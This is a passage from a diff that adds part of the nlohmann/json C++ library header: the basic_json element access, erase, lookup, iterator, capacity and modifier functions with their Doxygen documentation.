access specified object element with default value + + Returns either a copy of an object's element at the specified key @a key + or a given default value if no element with key @a key exists. + + The function is basically equivalent to executing + @code {.cpp} + try { + return at(key); + } catch(std::out_of_range) { + return default_value; + } + @endcode + + @note Unlike @ref at(const typename object_t::key_type&), this function + does not throw if the given key @a key was not found. + + @note Unlike @ref operator[](const typename object_t::key_type& key), this + function does not implicitly add an element to the position defined by @a + key. This function is furthermore also applicable to const objects. + + @param[in] key key of the element to access + @param[in] default_value the value to return if @a key is not found + + @tparam ValueType type compatible to JSON values, for instance `int` for + JSON integer numbers, `bool` for JSON booleans, or `std::vector` types for + JSON arrays. Note the type of the expected value at @a key and the default + value @a default_value must be compatible. + + @return copy of the element at key @a key or @a default_value if @a key + is not found + + @throw std::domain_error if JSON is not an object; example: `"cannot use + value() with null"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be queried + with a default value.,basic_json__value} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + + @since version 1.0.0 + */ + template::value, int>::type = 0> + ValueType value(const typename object_t::key_type& key, ValueType default_value) const + { + // at only works for objects + if (is_object()) + { + // if key is found, return value and given default value otherwise + const auto it = find(key); + if (it != end()) + { + return *it; + } + + return default_value; + } + else + { + JSON_THROW(std::domain_error("cannot use value() with " + type_name())); + } + } + + /*! + @brief overload for a default value of type const char* + @copydoc basic_json::value(const typename object_t::key_type&, ValueType) const + */ + string_t value(const typename object_t::key_type& key, const char* default_value) const + { + return value(key, string_t(default_value)); + } + + /*! + @brief access specified object element via JSON Pointer with default value + + Returns either a copy of an object's element at the specified key @a key + or a given default value if no element with key @a key exists. + + The function is basically equivalent to executing + @code {.cpp} + try { + return at(ptr); + } catch(std::out_of_range) { + return default_value; + } + @endcode + + @note Unlike @ref at(const json_pointer&), this function does not throw + if the given key @a key was not found. + + @param[in] ptr a JSON pointer to the element to access + @param[in] default_value the value to return if @a ptr found no value + + @tparam ValueType type compatible to JSON values, for instance `int` for + JSON integer numbers, `bool` for JSON booleans, or `std::vector` types for + JSON arrays. Note the type of the expected value at @a key and the default + value @a default_value must be compatible. + + @return copy of the element at key @a key or @a default_value if @a key + is not found + + @throw std::domain_error if JSON is not an object; example: `"cannot use + value() with null"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be queried + with a default value.,basic_json__value_ptr} + + @sa @ref operator[](const json_pointer&) for unchecked access by reference + + @since version 2.0.2 + */ + template::value, int>::type = 0> + ValueType value(const json_pointer& ptr, ValueType default_value) const + { + // at only works for objects + if (is_object()) + { + // if pointer resolves a value, return it or use default value + JSON_TRY + { + return ptr.get_checked(this); + } + JSON_CATCH (std::out_of_range&) + { + return default_value; + } + } + + JSON_THROW(std::domain_error("cannot use value() with " + type_name())); + } + + /*! + @brief overload for a default value of type const char* + @copydoc basic_json::value(const json_pointer&, ValueType) const + */ + string_t value(const json_pointer& ptr, const char* default_value) const + { + return value(ptr, string_t(default_value)); + } + + /*! + @brief access the first element + + Returns a reference to the first element in the container. For a JSON + container `c`, the expression `c.front()` is equivalent to `*c.begin()`. + + @return In case of a structured type (array or object), a reference to the + first element is returned. In case of number, string, or boolean values, a + reference to the value is returned. + + @complexity Constant. + + @pre The JSON value must not be `null` (would throw `std::out_of_range`) + or an empty array or object (undefined behavior, **guarded by + assertions**). + @post The JSON value remains unchanged. + + @throw std::out_of_range when called on `null` value + + @liveexample{The following code shows an example for `front()`.,front} + + @sa @ref back() -- access the last element + + @since version 1.0.0 + */ + reference front() + { + return *begin(); + } + + /*! + @copydoc basic_json::front() + */ + const_reference front() const + { + return *cbegin(); + } + + /*! + @brief access the last element + + Returns a reference to the last element in the container. For a JSON + container `c`, the expression `c.back()` is equivalent to + @code {.cpp} + auto tmp = c.end(); + --tmp; + return *tmp; + @endcode + + @return In case of a structured type (array or object), a reference to the + last element is returned. In case of number, string, or boolean values, a + reference to the value is returned. + + @complexity Constant. + + @pre The JSON value must not be `null` (would throw `std::out_of_range`) + or an empty array or object (undefined behavior, **guarded by + assertions**). + @post The JSON value remains unchanged. + + @throw std::out_of_range when called on `null` value. + + @liveexample{The following code shows an example for `back()`.,back} + + @sa @ref front() -- access the first element + + @since version 1.0.0 + */ + reference back() + { + auto tmp = end(); + --tmp; + return *tmp; + } + + /*! + @copydoc basic_json::back() + */ + const_reference back() const + { + auto tmp = cend(); + --tmp; + return *tmp; + } + + /*! + @brief remove element given an iterator + + Removes the element specified by iterator @a pos. The iterator @a pos must + be valid and dereferenceable. Thus the `end()` iterator (which is valid, + but is not dereferenceable) cannot be used as a value for @a pos. + + If called on a primitive type other than `null`, the resulting JSON value + will be `null`. + + @param[in] pos iterator to the element to remove + @return Iterator following the last removed element. If the iterator @a + pos refers to the last element, the `end()` iterator is returned. + + @tparam IteratorType an @ref iterator or @ref const_iterator + + @post Invalidates iterators and references at or after the point of the + erase, including the `end()` iterator. + + @throw std::domain_error if called on a `null` value; example: `"cannot + use erase() with null"` + @throw std::domain_error if called on an iterator which does not belong to + the current JSON value; example: `"iterator does not fit current value"` + @throw std::out_of_range if called on a primitive type with invalid + iterator (i.e., any iterator which is not `begin()`); example: `"iterator + out of range"` + + @complexity The complexity depends on the type: + - objects: amortized constant + - arrays: linear in distance between @a pos and the end of the container + - strings: linear in the length of the string + - other types: constant + + @liveexample{The example shows the result of `erase()` for different JSON + types.,erase__IteratorType} + + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + template::value or + std::is_same::value, int>::type + = 0> + IteratorType erase(IteratorType pos) + { + // make sure iterator fits the current value + if (this != pos.m_object) + { + JSON_THROW(std::domain_error("iterator does not fit current value")); + } + + IteratorType result = end(); + + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + { + if (not pos.m_it.primitive_iterator.is_begin()) + { + JSON_THROW(std::out_of_range("iterator out of range")); + } + + if (is_string()) + { + AllocatorType alloc; + alloc.destroy(m_value.string); + alloc.deallocate(m_value.string, 1); + m_value.string = nullptr; + } + + m_type = value_t::null; + assert_invariant(); + break; + } + + case value_t::object: + { + result.m_it.object_iterator = m_value.object->erase(pos.m_it.object_iterator); + break; + } + + case value_t::array: + { + result.m_it.array_iterator = m_value.array->erase(pos.m_it.array_iterator); + break; + } + + default: + { + JSON_THROW(std::domain_error("cannot use erase() with " + type_name())); + } + } + + return result; + } + + /*! + @brief remove elements given an iterator range + + Removes the element specified by the range `[first; last)`. The iterator + @a first does not need to be dereferenceable if `first == last`: erasing + an empty range is a no-op. + + If called on a primitive type other than `null`, the resulting JSON value + will be `null`. + + @param[in] first iterator to the beginning of the range to remove + @param[in] last iterator past the end of the range to remove + @return Iterator following the last removed element. If the iterator @a + second refers to the last element, the `end()` iterator is returned. + + @tparam IteratorType an @ref iterator or @ref const_iterator + + @post Invalidates iterators and references at or after the point of the + erase, including the `end()` iterator. + + @throw std::domain_error if called on a `null` value; example: `"cannot + use erase() with null"` + @throw std::domain_error if called on iterators which does not belong to + the current JSON value; example: `"iterators do not fit current value"` + @throw std::out_of_range if called on a primitive type with invalid + iterators (i.e., if `first != begin()` and `last != end()`); example: + `"iterators out of range"` + + @complexity The complexity depends on the type: + - objects: `log(size()) + std::distance(first, last)` + - arrays: linear in the distance between @a first and @a last, plus linear + in the distance between @a last and end of the container + - strings: linear in the length of the string + - other types: constant + + @liveexample{The example shows the result of `erase()` for different JSON + types.,erase__IteratorType_IteratorType} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + template::value or + std::is_same::value, int>::type + = 0> + IteratorType erase(IteratorType first, IteratorType last) + { + // make sure iterator fits the current value + if (this != first.m_object or this != last.m_object) + { + JSON_THROW(std::domain_error("iterators do not fit current value")); + } + + IteratorType result = end(); + + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + { + if (not first.m_it.primitive_iterator.is_begin() or not last.m_it.primitive_iterator.is_end()) + { + JSON_THROW(std::out_of_range("iterators out of range")); + } + + if (is_string()) + { + AllocatorType alloc; + alloc.destroy(m_value.string); + alloc.deallocate(m_value.string, 1); + m_value.string = nullptr; + } + + m_type = value_t::null; + assert_invariant(); + break; + } + + case value_t::object: + { + result.m_it.object_iterator = m_value.object->erase(first.m_it.object_iterator, + last.m_it.object_iterator); + break; + } + + case value_t::array: + { + result.m_it.array_iterator = m_value.array->erase(first.m_it.array_iterator, + last.m_it.array_iterator); + break; + } + + default: + { + JSON_THROW(std::domain_error("cannot use erase() with " + type_name())); + } + } + + return result; + } + + /*! + @brief remove element from a JSON object given a key + + Removes elements from a JSON object with the key value @a key. + + @param[in] key value of the elements to remove + + @return Number of elements removed. If @a ObjectType is the default + `std::map` type, the return value will always be `0` (@a key was not + found) or `1` (@a key was found). + + @post References and iterators to the erased elements are invalidated. + Other references and iterators are not affected. + + @throw std::domain_error when called on a type other than JSON object; + example: `"cannot use erase() with null"` + + @complexity `log(size()) + count(key)` + + @liveexample{The example shows the effect of `erase()`.,erase__key_type} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + size_type erase(const typename object_t::key_type& key) + { + // this erase only works for objects + if (is_object()) + { + return m_value.object->erase(key); + } + + JSON_THROW(std::domain_error("cannot use erase() with " + type_name())); + } + + /*! + @brief remove element from a JSON array given an index + + Removes element from a JSON array at the index @a idx. + + @param[in] idx index of the element to remove + + @throw std::domain_error when called on a type other than JSON array; + example: `"cannot use erase() with null"` + @throw std::out_of_range when `idx >= size()`; example: `"array index 17 + is out of range"` + + @complexity Linear in distance between @a idx and the end of the container. + + @liveexample{The example shows the effect of `erase()`.,erase__size_type} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + + @since version 1.0.0 + */ + void erase(const size_type idx) + { + // this erase only works for arrays + if (is_array()) + { + if (idx >= size()) + { + JSON_THROW(std::out_of_range("array index " + std::to_string(idx) + " is out of range")); + } + + m_value.array->erase(m_value.array->begin() + static_cast(idx)); + } + else + { + JSON_THROW(std::domain_error("cannot use erase() with " + type_name())); + } + } + + /// @} + + + //////////// + // lookup // + //////////// + + /// @name lookup + /// @{ + + /*! + @brief find an element in a JSON object + + Finds an element in a JSON object with key equivalent to @a key. If the + element is not found or the JSON value is not an object, end() is + returned. + + @note This method always returns @ref end() when executed on a JSON type + that is not an object. + + @param[in] key key value of the element to search for + + @return Iterator to an element with key equivalent to @a key. If no such + element is found or the JSON value is not an object, past-the-end (see + @ref end()) iterator is returned. + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The example shows how `find()` is used.,find__key_type} + + @since version 1.0.0 + */ + iterator find(typename object_t::key_type key) + { + auto result = end(); + + if (is_object()) + { + result.m_it.object_iterator = m_value.object->find(key); + } + + return result; + } + + /*! + @brief find an element in a JSON object + @copydoc find(typename object_t::key_type) + */ + const_iterator find(typename object_t::key_type key) const + { + auto result = cend(); + + if (is_object()) + { + result.m_it.object_iterator = m_value.object->find(key); + } + + return result; + } + + /*! + @brief returns the number of occurrences of a key in a JSON object + + Returns the number of elements with key @a key. If ObjectType is the + default `std::map` type, the return value will always be `0` (@a key was + not found) or `1` (@a key was found). + + @note This method always returns `0` when executed on a JSON type that is + not an object. + + @param[in] key key value of the element to count + + @return Number of elements with key @a key. If the JSON value is not an + object, the return value will be `0`. + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The example shows how `count()` is used.,count} + + @since version 1.0.0 + */ + size_type count(typename object_t::key_type key) const + { + // return 0 for all nonobject types + return is_object() ? m_value.object->count(key) : 0; + } + + /// @} + + + /////////////// + // iterators // + /////////////// + + /// @name iterators + /// @{ + + /*! + @brief returns an iterator to the first element + + Returns an iterator to the first element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return iterator to the first element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + + @liveexample{The following code shows an example for `begin()`.,begin} + + @sa @ref cbegin() -- returns a const iterator to the beginning + @sa @ref end() -- returns an iterator to the end + @sa @ref cend() -- returns a const iterator to the end + + @since version 1.0.0 + */ + iterator begin() noexcept + { + iterator result(this); + result.set_begin(); + return result; + } + + /*! + @copydoc basic_json::cbegin() + */ + const_iterator begin() const noexcept + { + return cbegin(); + } + + /*! + @brief returns a const iterator to the first element + + Returns a const iterator to the first element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return const iterator to the first element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).begin()`. + + @liveexample{The following code shows an example for `cbegin()`.,cbegin} + + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref end() -- returns an iterator to the end + @sa @ref cend() -- returns a const iterator to the end + + @since version 1.0.0 + */ + const_iterator cbegin() const noexcept + { + const_iterator result(this); + result.set_begin(); + return result; + } + + /*! + @brief returns an iterator to one past the last element + + Returns an iterator to one past the last element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return iterator one past the last element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + + @liveexample{The following code shows an example for `end()`.,end} + + @sa @ref cend() -- returns a const iterator to the end + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref cbegin() -- returns a const iterator to the beginning + + @since version 1.0.0 + */ + iterator end() noexcept + { + iterator result(this); + result.set_end(); + return result; + } + + /*! + @copydoc basic_json::cend() + */ + const_iterator end() const noexcept + { + return cend(); + } + + /*! + @brief returns a const iterator to one past the last element + + Returns a const iterator to one past the last element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return const iterator one past the last element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).end()`. + + @liveexample{The following code shows an example for `cend()`.,cend} + + @sa @ref end() -- returns an iterator to the end + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref cbegin() -- returns a const iterator to the beginning + + @since version 1.0.0 + */ + const_iterator cend() const noexcept + { + const_iterator result(this); + result.set_end(); + return result; + } + + /*! + @brief returns an iterator to the reverse-beginning + + Returns an iterator to the reverse-beginning; that is, the last element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](http://en.cppreference.com/w/cpp/concept/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `reverse_iterator(end())`. + + @liveexample{The following code shows an example for `rbegin()`.,rbegin} + + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref crend() -- returns a const reverse iterator to the end + + @since version 1.0.0 + */ + reverse_iterator rbegin() noexcept + { + return reverse_iterator(end()); + } + + /*! + @copydoc basic_json::crbegin() + */ + const_reverse_iterator rbegin() const noexcept + { + return crbegin(); + } + + /*! + @brief returns an iterator to the reverse-end + + Returns an iterator to the reverse-end; that is, one before the first + element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](http://en.cppreference.com/w/cpp/concept/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `reverse_iterator(begin())`. + + @liveexample{The following code shows an example for `rend()`.,rend} + + @sa @ref crend() -- returns a const reverse iterator to the end + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + + @since version 1.0.0 + */ + reverse_iterator rend() noexcept + { + return reverse_iterator(begin()); + } + + /*! + @copydoc basic_json::crend() + */ + const_reverse_iterator rend() const noexcept + { + return crend(); + } + + /*! + @brief returns a const reverse iterator to the last element + + Returns a const iterator to the reverse-beginning; that is, the last + element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](http://en.cppreference.com/w/cpp/concept/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).rbegin()`. + + @liveexample{The following code shows an example for `crbegin()`.,crbegin} + + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref crend() -- returns a const reverse iterator to the end + + @since version 1.0.0 + */ + const_reverse_iterator crbegin() const noexcept + { + return const_reverse_iterator(cend()); + } + + /*! + @brief returns a const reverse iterator to one before the first + + Returns a const reverse iterator to the reverse-end; that is, one before + the first element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](http://en.cppreference.com/w/cpp/concept/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).rend()`. + + @liveexample{The following code shows an example for `crend()`.,crend} + + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + + @since version 1.0.0 + */ + const_reverse_iterator crend() const noexcept + { + return const_reverse_iterator(cbegin()); + } + + private: + // forward declaration + template class iteration_proxy; + + public: + /*! + @brief wrapper to access iterator member functions in range-based for + + This function allows to access @ref iterator::key() and @ref + iterator::value() during range-based for loops. In these loops, a + reference to the JSON values is returned, so there is no access to the + underlying iterator. + + @note The name of this function is not yet final and may change in the + future. + */ + static iteration_proxy iterator_wrapper(reference cont) + { + return iteration_proxy(cont); + } + + /*! + @copydoc iterator_wrapper(reference) + */ + static iteration_proxy iterator_wrapper(const_reference cont) + { + return iteration_proxy(cont); + } + + /// @} + + + ////////////// + // capacity // + ////////////// + + /// @name capacity + /// @{ + + /*! + @brief checks whether the container is empty + + Checks if a JSON value has no elements. + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `true` + boolean | `false` + string | `false` + number | `false` + object | result of function `object_t::empty()` + array | result of function `array_t::empty()` + + @note This function does not return whether a string stored as JSON value + is empty - it returns whether the JSON container itself is empty which is + false in the case of a string. + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their `empty()` functions have constant + complexity. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + - Has the semantics of `begin() == end()`. + + @liveexample{The following code uses `empty()` to check if a JSON + object contains any elements.,empty} + + @sa @ref size() -- returns the number of elements + + @since version 1.0.0 + */ + bool empty() const noexcept + { + switch (m_type) + { + case value_t::null: + { + // null values are empty + return true; + } + + case value_t::array: + { + // delegate call to array_t::empty() + return m_value.array->empty(); + } + + case value_t::object: + { + // delegate call to object_t::empty() + return m_value.object->empty(); + } + + default: + { + // all other types are nonempty + return false; + } + } + } + + /*! + @brief returns the number of elements + + Returns the number of elements in a JSON value. + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `0` + boolean | `1` + string | `1` + number | `1` + object | result of function object_t::size() + array | result of function array_t::size() + + @note This function does not return the length of a string stored as JSON + value - it returns the number of elements in the JSON value which is 1 in + the case of a string. + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their size() functions have constant + complexity. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + - Has the semantics of `std::distance(begin(), end())`. + + @liveexample{The following code calls `size()` on the different value + types.,size} + + @sa @ref empty() -- checks whether the container is empty + @sa @ref max_size() -- returns the maximal number of elements + + @since version 1.0.0 + */ + size_type size() const noexcept + { + switch (m_type) + { + case value_t::null: + { + // null values are empty + return 0; + } + + case value_t::array: + { + // delegate call to array_t::size() + return m_value.array->size(); + } + + case value_t::object: + { + // delegate call to object_t::size() + return m_value.object->size(); + } + + default: + { + // all other types have size 1 + return 1; + } + } + } + + /*! + @brief returns the maximum possible number of elements + + Returns the maximum number of elements a JSON value is able to hold due to + system or library implementation limitations, i.e. `std::distance(begin(), + end())` for the JSON value. + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `0` (same as `size()`) + boolean | `1` (same as `size()`) + string | `1` (same as `size()`) + number | `1` (same as `size()`) + object | result of function `object_t::max_size()` + array | result of function `array_t::max_size()` + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their `max_size()` functions have constant + complexity. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is constant. + - Has the semantics of returning `b.size()` where `b` is the largest + possible JSON value. + + @liveexample{The following code calls `max_size()` on the different value + types. Note the output is implementation specific.,max_size} + + @sa @ref size() -- returns the number of elements + + @since version 1.0.0 + */ + size_type max_size() const noexcept + { + switch (m_type) + { + case value_t::array: + { + // delegate call to array_t::max_size() + return m_value.array->max_size(); + } + + case value_t::object: + { + // delegate call to object_t::max_size() + return m_value.object->max_size(); + } + + default: + { + // all other types have max_size() == size() + return size(); + } + } + } + + /// @} + + + /////////////// + // modifiers // + /////////////// + + /// @name modifiers + /// @{ + + /*! + @brief clears the contents + + Clears the content of a JSON value and resets it to the default value as + if @ref basic_json(value_t) would have been called: + + Value type | initial value + ----------- | ------------- + null | `null` + boolean | `false` + string | `""` + number | `0` + object | `{}` + array | `[]` + + @complexity Linear in the size of the JSON value. + + @liveexample{The example below shows the effect of `clear()` to different + JSON types.,clear} + + @since version 1.0.0 + */ + void clear() noexcept + { + switch (m_type) + { + case value_t::number_integer: + { + m_value.number_integer = 0; + break; + } + + case value_t::number_unsigned: + { + m_value.number_unsigned = 0; + break; + } + + case value_t::number_float: + { + m_value.number_float = 0.0; + break; + } + + case value_t::boolean: + { + m_value.boolean = false; + break; + } + + case value_t::string: + { + m_value.string->clear(); + break; + } + + case value_t::array: + { + m_value.array->clear(); + break; + } + + case value_t::object: + { + m_value.object->clear(); + break; + } + + default: + { + break; + } + } + } + + /*! + @brief add an object to an array + + Appends the given element @a val to the end of the JSON value. If the + function is called on a JSON null value, an empty array is created before + appending @a val. + + @param[in] val the value to add to the JSON array + + @throw std::domain_error when called on a type other than JSON array or + null; example: `"cannot use push_back() with number"` + + @complexity Amortized constant. + + @liveexample{The example shows how `push_back()` and `+=` can be used to + add elements to a JSON array. Note how the `null` value was silently + converted to a JSON array.,push_back} + + @since version 1.0.0 + */ + void push_back(basic_json&& val) + { + // push_back only works for null objects or arrays + if (not(is_null() or is_array())) + { + JSON_THROW(std::domain_error("cannot use push_back() with " + type_name())); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array (move semantics) + m_value.array->push_back(std::move(val)); + // invalidate object + val.m_type = value_t::null; + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + reference operator+=(basic_json&& val) + { + push_back(std::move(val)); + return *this; + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + void push_back(const basic_json& val) + { + // push_back only works for null objects or arrays + if (not(is_null() or is_array())) + { + JSON_THROW(std::domain_error("cannot use push_back() with " + type_name())); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array + m_value.array->push_back(val); + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + reference operator+=(const basic_json& val) + { + push_back(val); + return *this; + } + + /*! + @brief add an object to an object + + Inserts the given element @a val to the JSON object. If the function is + called on a JSON null value, an empty object is created before inserting + @a val. + + @param[in] val the value to add to the JSON object + + @throw std::domain_error when called on a type other than JSON object or + null; example: `"cannot use push_back() with number"` + + @complexity Logarithmic in the size of the container, O(log(`size()`)). + + @liveexample{The example shows how `push_back()` and `+=` can be used to + add elements to a JSON object. Note how the `null` value was silently + converted to a JSON object.,push_back__object_t__value} + + @since version 1.0.0 + */ + void push_back(const typename object_t::value_type& val) + { + // push_back only works for null objects or objects + if (not(is_null() or is_object())) + { + JSON_THROW(std::domain_error("cannot use push_back() with " + type_name())); + } + + // transform null object into an object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // add element to array + m_value.object->insert(val); + } + + /*! + @brief add an object to an object + @copydoc push_back(const typename object_t::value_type&) + */ + reference operator+=(const typename object_t::value_type& val) + { + push_back(val); + return *this; + } + + /*! + @brief add an object to an object + + This function allows to use `push_back` with an initializer list. In case + + 1. the current value is an object, + 2. the initializer list @a init contains only two elements, and + 3. the first element of @a init is a string, + + @a init is converted into an object element and added using + @ref push_back(const typename object_t::value_type&). Otherwise, @a init + is converted to a JSON value and added using @ref push_back(basic_json&&). + + @param init an initializer list + + @complexity Linear in the size of the initializer list @a init. + + @note This function is required to resolve an ambiguous overload error, + because pairs like `{"key", "value"}` can be both interpreted as + `object_t::value_type` or `std::initializer_list`, see + https://github.com/nlohmann/json/issues/235 for more information. + + @liveexample{The example shows how initializer lists are treated as + objects when possible.,push_back__initializer_list} + */ + void push_back(std::initializer_list init) + { + if (is_object() and init.size() == 2 and init.begin()->is_string()) + { + const string_t key = *init.begin(); + push_back(typename object_t::value_type(key, *(init.begin() + 1))); + } + else + { + push_back(basic_json(init)); + } + } + + /*! + @brief add an object to an object + @copydoc push_back(std::initializer_list) + */ + reference operator+=(std::initializer_list init) + { + push_back(init); + return *this; + } + + /*! + @brief add an object to an array + + Creates a JSON value from the passed parameters @a args to the end of the + JSON value. If the function is called on a JSON null value, an empty array + is created before appending the value created from @a args. + + @param[in] args arguments to forward to a constructor of @ref basic_json + @tparam Args compatible types to create a @ref basic_json object + + @throw std::domain_error when called on a type other than JSON array or + null; example: `"cannot use emplace_back() with number"` + + @complexity Amortized constant. + + @liveexample{The example shows how `push_back()` can be used to add + elements to a JSON array. Note how the `null` value was silently converted + to a JSON array.,emplace_back} + + @since version 2.0.8 + */ + template + void emplace_back(Args&& ... args) + { + // emplace_back only works for null objects or arrays + if (not(is_null() or is_array())) + { + JSON_THROW(std::domain_error("cannot use emplace_back() with " + type_name())); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array (perfect forwarding) + m_value.array->emplace_back(std::forward(args)...); + } + + /*! + @brief add an object to an object if key does not exist + + Inserts a new element into a JSON object constructed in-place with the + given @a args if there is no element with the key in the container. If the + function is called on a JSON null value, an empty object is created before + appending the value created from @a args. + + @param[in] args arguments to forward to a constructor of @ref basic_json + @tparam Args compatible types to create a @ref basic_json object + + @return a pair consisting of an iterator to the inserted element, or the + already-existing element if no insertion happened, and a bool + denoting whether the insertion took place. + + @throw std::domain_error when called on a type other than JSON object or + null; example: `"cannot use emplace() with number"` + + @complexity Logarithmic in the size of the container, O(log(`size()`)). + + @liveexample{The example shows how `emplace()` can be used to add elements + to a JSON object. Note how the `null` value was silently converted to a + JSON object. Further note how no value is added if there was already one + value stored with the same key.,emplace} + + @since version 2.0.8 + */ + template + std::pair emplace(Args&& ... args) + { + // emplace only works for null objects or arrays + if (not(is_null() or is_object())) + { + JSON_THROW(std::domain_error("cannot use emplace() with " + type_name())); + } + + // transform null object into an object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // add element to array (perfect forwarding) + auto res = m_value.object->emplace(std::forward(args)...); + // create result iterator and set iterator to the result of emplace + auto it = begin(); + it.m_it.object_iterator = res.first; + + // return pair of iterator and boolean + return {it, res.second}; + } + + /*! + @brief inserts element + + Inserts element @a val before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] val element to insert + @return iterator pointing to the inserted @a val. + + @throw std::domain_error if called on JSON values other than arrays; + example: `"cannot use insert() with string"` + @throw std::domain_error if @a pos is not an iterator of *this; example: + `"iterator does not fit current value"` + + @complexity Constant plus linear in the distance between @a pos and end of + the container. + + @liveexample{The example shows how `insert()` is used.,insert} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, const basic_json& val) + { + // insert only works for arrays + if (is_array()) + { + // check if iterator pos fits to this JSON value + if (pos.m_object != this) + { + JSON_THROW(std::domain_error("iterator does not fit current value")); + } + + // insert to array and return iterator + iterator result(this); + result.m_it.array_iterator = m_value.array->insert(pos.m_it.array_iterator, val); + return result; + } + + JSON_THROW(std::domain_error("cannot use insert() with " + type_name())); + } + + /*! + @brief inserts element + @copydoc insert(const_iterator, const basic_json&) + */ + iterator insert(const_iterator pos, basic_json&& val) + { + return insert(pos, val); + } + + /*! + @brief inserts elements + + Inserts @a cnt copies of @a val before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] cnt number of copies of @a val to insert + @param[in] val element to insert + @return iterator pointing to the first element inserted, or @a pos if + `cnt==0` + + @throw std::domain_error if called on JSON values other than arrays; + example: `"cannot use insert() with string"` + @throw std::domain_error if @a pos is not an iterator of *this; example: + `"iterator does not fit current value"` + + @complexity Linear in @a cnt plus linear in the distance between @a pos + and end of the 